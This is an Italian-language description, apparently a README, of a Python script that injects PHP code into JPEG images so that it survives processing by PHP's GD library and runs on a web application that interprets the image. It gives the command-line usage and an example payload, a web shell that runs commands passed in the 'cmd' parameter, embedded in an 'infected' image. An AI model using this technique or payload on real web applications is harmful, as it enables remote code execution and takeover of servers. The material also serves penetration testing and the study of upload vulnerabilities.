
Inietta payload PHP in immagini JPEG per lo sfruttamento di applicazioni web, bypassando l'elaborazione delle immagini della libreria GD per ottenere l'esecuzione remota di codice.
Inietta payload php in immagini jpeg. Collegato a questo post.
Hai un'applicazione web che elabora un'immagine jpeg tramite la libreria grafica GD di PHP.
Questo script inietta codice PHP in una specifica immagine jpeg. L'applicazione web eseguirà il payload se interpreta l'immagine. Assicurati che il tuo jpeg di input non sia compresso!
python3 gd-jpeg.py [JPEG] [PAYLOAD] [OUTPUT_JPEG]
es. python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg
Il codice PHP viene iniettato nello spazio nullo/spazzatura (marrone) dopo l'intestazione di scansione:
Il nuovo jpeg infetto viene elaborato dalla libreria gd di PHP. PHP interpreta il payload iniettato nel jpeg e lo esegue.